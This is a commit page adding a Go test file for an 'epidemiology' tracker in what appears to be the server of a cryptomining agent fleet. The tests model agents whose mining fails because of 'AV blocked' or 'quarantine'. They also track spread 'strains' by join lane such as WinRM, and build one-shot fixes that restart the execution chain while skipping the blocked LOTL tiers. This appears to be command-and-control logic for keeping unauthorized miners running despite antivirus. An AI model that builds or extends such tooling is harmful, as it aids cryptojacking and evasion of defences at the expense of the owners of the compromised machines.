Fleet topology epidemiology: strain plague map, interrupt fixes, tests.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
156
server/internal/epidemiology/tracker_test.go
Normal file
156
server/internal/epidemiology/tracker_test.go
Normal file
@@ -0,0 +1,156 @@
|
||||
package epidemiology
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"sync"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestDetectInterruptionContinuousMiningNil(t *testing.T) {
|
||||
if got := DetectInterruption("a1", StatsInput{
|
||||
ActiveMethod: "container",
|
||||
MiningHashrate: 120,
|
||||
}); got != nil {
|
||||
t.Fatalf("continuous mining should not interrupt: %+v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectInterruptionChainExhausted(t *testing.T) {
|
||||
got := DetectInterruption("stuck", StatsInput{
|
||||
ChainExhausted: true,
|
||||
SpreadStrain: "#aabbcc",
|
||||
JoinLane: "winrm",
|
||||
FailedMethods: []MethodFailure{{
|
||||
Method: "exe_subprocess",
|
||||
Reason: "AV blocked",
|
||||
At: "2026-06-07T00:00:00Z",
|
||||
}},
|
||||
})
|
||||
if got == nil {
|
||||
t.Fatal("expected interrupt state")
|
||||
}
|
||||
if got.SpreadStrain != "#aabbcc" {
|
||||
t.Fatalf("strain=%q", got.SpreadStrain)
|
||||
}
|
||||
if got.AgentID != "stuck" {
|
||||
t.Fatalf("agent=%q", got.AgentID)
|
||||
}
|
||||
}
|
||||
|
||||
func TestComposeFixSkipsFailedBranches(t *testing.T) {
|
||||
fix := ComposeFix(MiningInterruptState{
|
||||
AgentID: "a1",
|
||||
ChainExhausted: true,
|
||||
FailedMethods: []MethodFailure{
|
||||
{Method: "exe_subprocess", Reason: "blocked"},
|
||||
},
|
||||
LOTLAttempts: []TierAttempt{
|
||||
{Tier: "container", OK: false, Error: "no docker"},
|
||||
},
|
||||
})
|
||||
if !fix.RestartChain {
|
||||
t.Fatal("chain exhausted should restart")
|
||||
}
|
||||
if len(fix.SkipTiers) < 2 {
|
||||
t.Fatalf("skip tiers=%v", fix.SkipTiers)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTrackerObserveAndConsumeFix(t *testing.T) {
|
||||
tr := NewTracker()
|
||||
var aiCalls int
|
||||
var seerCalls int
|
||||
tr.SetReporter(Reporter{
|
||||
OnAI: func(agentID, action, reasoning string) {
|
||||
aiCalls++
|
||||
if agentID != "agent-x" || action != "mining_interrupt" {
|
||||
t.Fatalf("ai callback: %s %s", agentID, action)
|
||||
}
|
||||
if reasoning == "" {
|
||||
t.Fatal("expected reasoning payload")
|
||||
}
|
||||
},
|
||||
OnSeer: func(event SeerEvent) {
|
||||
seerCalls++
|
||||
if event.Kind != "mining_interrupt" {
|
||||
t.Fatalf("kind=%s", event.Kind)
|
||||
}
|
||||
},
|
||||
})
|
||||
|
||||
tr.ObserveStats("agent-x", StatsInput{
|
||||
ChainExhausted: true,
|
||||
SpreadStrain: "#112233",
|
||||
FailedMethods: []MethodFailure{{Method: "wsl", Reason: "missing"}},
|
||||
})
|
||||
if aiCalls != 1 || seerCalls != 1 {
|
||||
t.Fatalf("reports ai=%d seer=%d", aiCalls, seerCalls)
|
||||
}
|
||||
|
||||
fix, ok := tr.ConsumeFix("agent-x")
|
||||
if !ok || fix.AgentID != "agent-x" {
|
||||
t.Fatalf("consume fix: ok=%v fix=%+v", ok, fix)
|
||||
}
|
||||
if _, again := tr.ConsumeFix("agent-x"); again {
|
||||
t.Fatal("fix should be one-shot on auth pass")
|
||||
}
|
||||
|
||||
events := tr.RecentSeerEvents(5)
|
||||
if len(events) != 1 {
|
||||
t.Fatalf("seer events=%d", len(events))
|
||||
}
|
||||
var decoded MiningInterruptState
|
||||
if err := json.Unmarshal(events[0].Payload, &decoded); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if decoded.SpreadStrain != "#112233" {
|
||||
t.Fatalf("payload strain=%q", decoded.SpreadStrain)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTrackerDedupesIdenticalInterrupt(t *testing.T) {
|
||||
tr := NewTracker()
|
||||
var calls int
|
||||
tr.SetReporter(Reporter{
|
||||
OnAI: func(_, _, _ string) {
|
||||
calls++
|
||||
},
|
||||
})
|
||||
stats := StatsInput{
|
||||
ChainExhausted: true,
|
||||
SpreadStrain: "#ff00aa",
|
||||
FailedMethods: []MethodFailure{{Method: "gpu_subprocess", Reason: "quarantine"}},
|
||||
}
|
||||
tr.ObserveStats("dup", stats)
|
||||
tr.ObserveStats("dup", stats)
|
||||
if calls != 1 {
|
||||
t.Fatalf("deduped calls=%d want 1", calls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSpreadStrainFromJoinLaneParity(t *testing.T) {
|
||||
got := spreadStrainFromJoinLane("winrm")
|
||||
if got != "#ab88e4" {
|
||||
t.Fatalf("winrm strain=%q want #ab88e4", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTrackerConcurrentObserve(t *testing.T) {
|
||||
tr := NewTracker()
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < 20; i++ {
|
||||
wg.Add(1)
|
||||
go func(n int) {
|
||||
defer wg.Done()
|
||||
id := "agent-" + string(rune('a'+n%26))
|
||||
tr.ObserveStats(id, StatsInput{
|
||||
ChainExhausted: true,
|
||||
FailedMethods: []MethodFailure{{Method: "container", Reason: "fail"}},
|
||||
})
|
||||
}(i)
|
||||
}
|
||||
wg.Wait()
|
||||
if len(tr.pendingFix) == 0 {
|
||||
t.Fatal("expected pending fixes")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user